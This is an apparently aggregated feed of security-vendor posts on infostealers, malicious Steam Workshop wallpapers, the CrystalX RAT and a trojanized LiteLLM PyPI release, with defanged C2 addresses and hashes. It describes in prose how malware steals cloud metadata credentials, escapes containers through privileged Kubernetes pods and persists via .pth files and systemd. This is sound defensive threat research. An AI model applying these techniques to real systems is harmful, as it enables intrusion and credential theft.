Flashpoint continuously tracks the latest developments in illicit communities, hard-to-reach adversary spaces, and malware repositories to identify emerging threats. Request a demo to learn how Flashpoint’s primary source collections and analyst insights empowers your security teams.

See Flashpoint in Action

The post Remus Stealer: A New, Not-So-New Infostealer appeared first on Flashpoint.

  •  

OpenClaw’s Skill Marketplace and the Emerging AI Supply Chain Threat

Unit 42's analysis of ClawHub revealed evasive malicious skills bypassing automated scanners to deploy infostealers and execute agentic financial fraud.

The post OpenClaw’s Skill Marketplace and the Emerging AI Supply Chain Threat appeared first on Unit 42.

  •  

Dozens of malicious wallpapers found on Steam Workshop: gamers’ accounts at risk

Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.

What is Wallpaper Engine?

Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:

  • Videos: MP4, WebM, and other common video formats
  • Scenes: interactive wallpapers built inside the app’s own editor
  • Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
  • Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background

That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.

Application wallpapers: a built-in security risk

The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.

We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.

Here's what these infected wallpapers look like on Steam Workshop

When we analyzed them, we caught two different methods the attackers were using to spread their malware:

  • An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
  • In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.

Inside an infected game wallpaper

Main screen of the wallpaper application

Main screen of the wallpaper application

On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.

How the malware deploys

How the malware deploys

Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.

But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.

Looking for the Steam app

Looking for the Steam app

Next, the modified library hijacks the user’s live Steam session.

Hijacking the Steam session

Hijacking the Steam session

After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.

Attribution and victims

The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.

Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).

Malicious app wallpaper downloads by region

How to stay safe

Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:

  • HEUR:Trojan-PSW.Win32.gen
  • HEUR:Trojan-PSW.Win32.Python.gen
  • HEUR:Backdoor.Win32.DarkKomet
  • Trojan-Dropper.Python.Agent
  • HEUR:Trojan-Ransom.Win32.Gen.gen
  • PDM:Trojan.Win32.Generic.

By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.

Indicators of compromise

MD5

C2 servers

Malicious wallpapers

Update, June 17

We have since confirmed that the malicious wallpapers were present in the app as early as August 2025.

  •  

Identity Is the New Attack Surface: How Infostealers Are Reshaping Enterprise Risk

Blogs

Blog

Identity Is the New Attack Surface: How Infostealers Are Reshaping Enterprise Risk

Our new guide explores how infostealers are fueling modern identity-based attacks and how organizations can build a proactive defense before stolen access is weaponized.

SHARE THIS:
Default Author Image
June 10, 2026

The New Reality of Identity-Based Threats

A publicly exposed database surfaced in early 2026 containing more than 149 million stolen login credentials. The records were not tied to a single breach or organization. Instead, they had been quietly collected over time from devices infected with information-stealing malware, with each record containing usernames, passwords, session data, and the context needed to use them.

Unlike traditional breach dumps, this data was structured, searchable, and immediately actionable. Credentials were mapped to specific services, session artifacts reflected active logins, and much of the information was recent enough to enable direct access without triggering traditional security controls.

This incident reflects a broader shift in the threat landscape.

More than 11.1 million devices were infected with infostealers last year, fueling a supply of over 3.3 billion stolen credentials, session cookies, cloud tokens, and other forms of identity data now circulating across illicit markets.

11.1 million infected hosts and devices
3.3 billion stolen credentials
Top 5 most prolific infostealers in 2025 (by infected hosts or devices):
Lumma
Acreed
Rhadamanthys
Vidar
StealC
Top 6 countries affected by information-stealing malware, 2025:
India
Brazil
Indonesia
Vietnam
Phillipines
United States

For security teams, the challenge is no longer simply detecting a breach after it occurs. It is understanding when access may already exist — where compromised credentials are circulating, how they are being used, and how quickly they can be weaponized.

That’s why Flashpoint created Identity Is the New Attack Surface: A Guide to Infostealers and Proactive Defense.

Drawing on Flashpoint’s Primary Source Collection (PSC) and analyst-driven intelligence, this guide helps IT, Threat Intelligence, Fraud, and HUNT teams understand how infostealers operate, how stolen identity data fuels real-world attacks, and how organizations can move from reactive response to proactive defense.

The guide explores:

  • How today’s most active infostealers power modern attack chains
  • How threat actors weaponize stolen credentials, cookies, and session data
  • How organizations can operationalize infostealer intelligence for proactive defense
  • How to evaluate infostealer intelligence providers and detection capabilities

Why Identity Has Become the Preferred Attack Surface

For years, security teams focused on vulnerabilities, malware delivery, and network intrusion as the primary paths to compromise. Increasingly, however, threat actors are taking a different

Modern infostealers such as Lumma, StealC, Vidar, Acreed, and Rhadamanthys provide attackers with something more valuable than initial access: usable identity. These malware families collect credentials, browser artifacts, session cookies, application data, and host metadata that help threat actors understand how a victim authenticates and what systems they can access.

A single infected device can expose credentials, browser artifacts, session cookies, application data, host metadata, and access to enterprise SaaS platforms. Together, these artifacts create a detailed profile of how a user authenticates, what systems they access, and how those systems trust that identity.

This is what makes infostealer data so valuable.

“For years, organizations have invested heavily in detecting malware, blocking exploits, and hardening infrastructure. Meanwhile, attackers have increasingly shifted to a simpler strategy: logging in with valid identities.

Infostealers have fundamentally changed the economics of access. Threat actors no longer need to compromise a network directly when billions of credentials, session cookies, and authentication artifacts are already circulating in underground ecosystems. The challenge for defenders has risen from preventing compromise to identifying where access already exists and how quickly it can be weaponized.”

Ian Gray, Vice President of Intelligence at Flashpoint

Identity data is inherently reusable. A stolen credential can be tested across multiple services. A session cookie can potentially allow attackers to hijack authenticated sessions. Browser and host metadata can help threat actors recreate a victim’s environment and bypass security controls designed to detect suspicious logins.

What begins as a single infection can quickly evolve into access across multiple systems, applications, and organizations.

What Is an Identity-Based Attack?

Identity-based attacks occur when threat actors use legitimate credentials, session cookies, authentication tokens, or other identity artifacts to gain access to systems and applications. Rather than exploiting a vulnerability or deploying malware inside a target environment, attackers authenticate as trusted users using stolen identity data.

This shift is one of the primary reasons infostealers have become so valuable. Modern infostealer logs often contain far more than usernames and passwords. They may also include browser cookies, session information, host metadata, application data, and other artifacts that help attackers understand how a user authenticates and what systems they can access. When combined, this information enables account takeover, fraud, lateral movement, and other forms of identity-based abuse.

From Credential Theft to Identity Exploitation

The way threat actors operationalize stolen data is evolving just as rapidly as the data itself.

Historically, attackers often had to manually review stolen credentials and determine which accounts were worth pursuing. Today, that process is increasingly automated.

Infostealer logs can be aggregated, tested, and prioritized at scale, allowing threat actors to rapidly identify valid access across enterprise systems, SaaS platforms, VPNs, and cloud environments.

Flashpoint identifies this as a hybrid threat: the convergence of large-scale identity compromise and automated exploitation.

Once valid access is identified, attackers can move quickly. Credentials may be reused across services. Session data can be leveraged for account takeover. Access can be sold to ransomware operators, fraud actors, or other criminal groups. In many cases, exposure itself becomes part of the attack lifecycle rather than merely a precursor to it.

The result is a threat landscape where stolen identity data is not simply stored and sold. It is continuously tested, validated, reused, and operationalized.

Turning Exposure Into Actionable Intelligence

For defenders, prevention remains important. But prevention alone is no longer enough.

Organizations must also be able to identify when credentials, session cookies, and other identity artifacts have already been exposed and are circulating within underground ecosystems.

The earliest opportunity to intervene is often after data has been exfiltrated but before attackers have successfully operationalized it.

Achieving that visibility requires more than traditional breach feeds or aggregated datasets.

Flashpoint’s Primary Source Collection approach provides direct visibility into the forums, marketplaces, Telegram channels, malware repositories, and illicit communities where infostealer activity originates. Rather than relying solely on recycled breach data, Flashpoint continuously collects from the environments where stolen identity data is first shared, sold, and operationalized.

However, collection alone is not enough.

Raw infostealer logs are noisy, fragmented, and difficult to operationalize at scale. Flashpoint transforms these logs into structured intelligence through a multi-stage workflow that includes:

  • Source ingestion from underground ecosystems
  • Normalization and de-duplication of collected data
  • Automated parsing and enrichment of credentials, cookies, host metadata, and malware attribution
  • Structured output that supports alerts, investigations, and integrations across existing security workflows

This process helps defenders understand not only what was exposed, but who may be affected, how exposure occurred, what systems may be at risk, and how quickly action is required.

Building a Proactive Defense Across the Identity Layer

The rise of infostealers has fundamentally changed how organizations should think about attack surface management.

The attack surface is no longer limited to infrastructure, endpoints, or internet-facing applications. It now includes the digital identities of employees, partners, vendors, and customers.

Security teams need visibility into the identity layer itself — understanding where exposure exists, how attackers are leveraging stolen data, and what actions should be taken before access is exploited.

By combining direct visibility into underground ecosystems with structured, actionable intelligence, organizations can identify compromised accounts earlier, uncover infection trends, prioritize response efforts, and reduce the likelihood of downstream compromise.

Download Identity Is the New Attack Surface: A Guide to Infostealers and Proactive Defense to learn how your organization can build a proactive defense program across the identity layer.

Key Infostealer Statistics

According to Flashpoint research:

  • More than 11.1 million devices were infected with infostealers in the last year.
  • Over 3.3 billion credentials, session cookies, cloud tokens, and identity artifacts are circulating across illicit markets.
  • Flashpoint analysts identified 30+ active infostealer strains being sold across underground ecosystems.
  • Flashpoint’s credential database contains 48+ billion credentials, including more than 1 billion tied to infostealer activity.
  • More than 4.2% of infostealer-exposed credentials include browser cookies that may support session hijacking.
  • Flashpoint can collect and parse some infostealer logs within one to two days of infection.

Frequently Asked Questions (FAQ)

FAQ: Infostealers and Identity-Based Threats

What is an infostealer?

An infostealer is a type of malware designed to collect sensitive information from an infected device. Depending on the strain, this can include usernames and passwords, browser cookies, session tokens, saved payment information, cryptocurrency wallets, system metadata, and other identity-related artifacts.

How do infostealers work?

Infostealers infect a victim’s device and collect information such as credentials, browser data, session cookies, autofill information, cryptocurrency wallet data, and system metadata. The stolen information is packaged into files known as infostealer logs, which can then be sold, shared, or operationalized by threat actors.

What information can infostealers steal?

Depending on the malware family, infostealers can collect usernames and passwords, session cookies, authentication tokens, browser history, saved payment information, cryptocurrency wallet data, system information, installed applications, and other identity-related artifacts. The goal is to provide attackers with enough information to access accounts and impersonate legitimate users.

What are the most common infostealers?

The infostealer ecosystem changes rapidly, but Flashpoint analysts currently track strains such as Lumma (also known as LummaC2/Remus), StealC, Vidar, Acreed, and Rhadamanthys among the most prominent malware families driving credential theft and identity-based attacks.

Why are infostealers so dangerous?

Infostealers provide attackers with more than credentials. Modern infostealer logs often contain the context needed to use stolen data, including session information, browser artifacts, and device metadata. This allows threat actors to perform account takeovers, move laterally within environments, and gain access to business-critical systems. According to Flashpoint’s 2026 Global Threat Intelligence Report, more than 11.1 million devices were infected with infostealers last year, contributing to a pool of over 3.3 billion stolen credentials, session cookies, cloud tokens, and other identity artifacts.

What is an infostealer log?

An infostealer log is a package of data collected from an infected device. Logs may contain credentials, cookies, browser data, application information, host metadata, and other artifacts that help attackers understand how a victim authenticates and what systems they can access.

Can infostealers bypass multi-factor authentication (MFA)?

In some cases, yes. While multifactor authentication remains a critical security control, stolen session cookies and authenticated session data can sometimes allow threat actors to hijack existing sessions without needing to complete the MFA process themselves. Flashpoint found that more than 4.2% of infostealer-exposed credentials in its dataset were associated with browser cookies, highlighting the growing importance of session-based risk.

How do threat actors obtain infostealer logs?

Infostealer logs are frequently bought and sold across illicit marketplaces, forums, Telegram channels, and other underground communities. Many are distributed through Malware-as-a-Service (MaaS) offerings that make infostealer capabilities accessible to a wide range of threat actors. Flashpoint analysts identified more than 30 unique infostealer strains actively offered for sale across underground ecosystems.

How can organizations detect credential exposure from infostealers?

Organizations can monitor underground sources where stolen data is shared and sold, identify exposed credentials associated with their domains, and investigate related artifacts such as cookies, host metadata, and malware attribution. The earlier exposure is identified, the greater the opportunity to remediate before attackers operationalize access. Flashpoint collects and parses some infostealer logs within one to two days of infection, helping organizations detect exposure closer to the point of compromise.

What should organizations do if employee credentials appear in an infostealer log?

Organizations should immediately assess the scope of exposure, reset affected credentials, invalidate active sessions, review authentication activity, investigate the infected device, and determine whether additional accounts or systems may have been impacted.

How is Flashpoint’s approach to infostealer intelligence different from traditional breach monitoring?

Many organizations rely on aggregated breach feeds or credential dumps that may be weeks or months old by the time they are discovered. Flashpoint’s Primary Source Collection (PSC) approach provides direct visibility into the forums, marketplaces, Telegram channels, and underground communities where stolen identity data is first shared, sold, and operationalized.

In addition to collecting raw infostealer logs, Flashpoint parses and enriches the data with context such as malware attribution, session cookies, host metadata, browser artifacts, and affected identities. Today, Flashpoint’s credential database contains more than 48 billion credentials, including over 1 billion tied to infostealer activity, providing organizations with actionable intelligence rather than raw exposure data.

Request a demo today.

The post Identity Is the New Attack Surface: How Infostealers Are Reshaping Enterprise Risk appeared first on Flashpoint.

  •  

Gremlin Stealer's Evolved Tactics: Hiding in Plain Sight With Resource Files

Unit 42 analyzes the evolution of Gremlin stealer. This variant uses advanced obfuscation, crypto clipping and session hijacking to compromise data.

The post Gremlin Stealer's Evolved Tactics: Hiding in Plain Sight With Resource Files appeared first on Unit 42.

  •  

That AI Extension Helping You Write Emails? It’s Reading Them First

Unit 42 uncovers high-risk AI browser extensions. Disguised as productivity tools, they steal data, intercept prompts, and exfiltrate passwords. Protect your browser.

The post That AI Extension Helping You Write Emails? It’s Reading Them First appeared first on Unit 42.

  •  

A laughing RAT: CrystalX combines spyware, stealer, and prankware features

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

  • MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
  • VM detect: checking running processes, presence of guest tools, and hardware characteristics
  • Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
  • Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

  1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
  2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
  3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
  4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

  • Setting a background: downloading an image from a specified URL and using it as the desktop background.
  • Display orientation: rotating the screen 90°, 180°, or 270°.
  • System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
  • Remapping mouse buttons: swapping left click with right click and the other way round.
  • Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
  • Notifications: displaying a window with a custom title and message.
  • Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
  • Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

  •  
  •  

An AI gateway designed to steal your data

A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.

This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.

Repository compromise

The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.

Technical analysis

Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.

Example of the malicious code in proxy_server.py

Example of the malicious code in proxy_server.py

The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.

The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.

The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.

What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:

  • SSH keys
  • GIT accounts
  • .env files
  • AWS, Kubernetes, email service, database, and WireGuard configurations
  • files related to Helm, Terraform, and CI
  • TLS keys and certificates


A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.

The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.

Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.

In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.

Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.

A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.

OpenVSX version of the malware

While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.

This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.

Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.

Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.

Victimology

While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.

Conclusion

As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.

Prevention and protection

To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.

Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.

To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.

At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:

  • Perform a full system scan using a reliable security solution.
  • Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
  • Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
  • Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
  • Check for indicators of compromise (files on the system or network signs).

Indicators of Compromise:

URLs
models[.]litellm[.]cloud
checkmarx[.]zone

Infected packages
85ED77A21B88CAE721F369FA6B7BBBA3
2E3A4412A7A487B32C5715167C755D08
0FCCC8E3A03896F45726203074AE225D

Scripts
F5560871F6002982A6A2CC0B3EE739F7
CDE4951BEE7E28AC8A29D33D34A41AE5
05BACBE163EF0393C2416CBD05E45E74

  •  

Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

Blogs

Blog

Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report

In this post, we preview the critical findings of the 2026 Global Threat Intelligence Report, highlighting how the collapse of traditional security silos and the rise of autonomous, machine-speed attacks are forcing a total reimagining of modern defense.

SHARE THIS:
Default Author Image
March 11, 2026

The cybersecurity landscape has reached a point of total convergence, where the silos that once separated malware, identity, and infrastructure have collapsed into a single, high-velocity threat engine. Simultaneously, the threat landscape is shifting from human-led attacks to machine-speed operations as a result of agentic AI, which acts as a force multiplier for the modern adversary.

Flashpoint’s 2026 Global Threat Intelligence Report

Flashpoint’s 2026 Global Threat Intelligence Report (GTIR) was developed to anchor security leaders — from threat intelligence and vulnerability management teams to physical security professionals and the CISO’s office — with the data required to navigate this year’s greatest threats, rife with infostealers, vulnerabilities, ransomware, and malicious insiders.

Our report uncovers several staggering metrics that illustrate the industrialization of modern cybercrime:

  • AI-related illicit activity skyrocketed by 1,500% in a single month at the end of 2025.
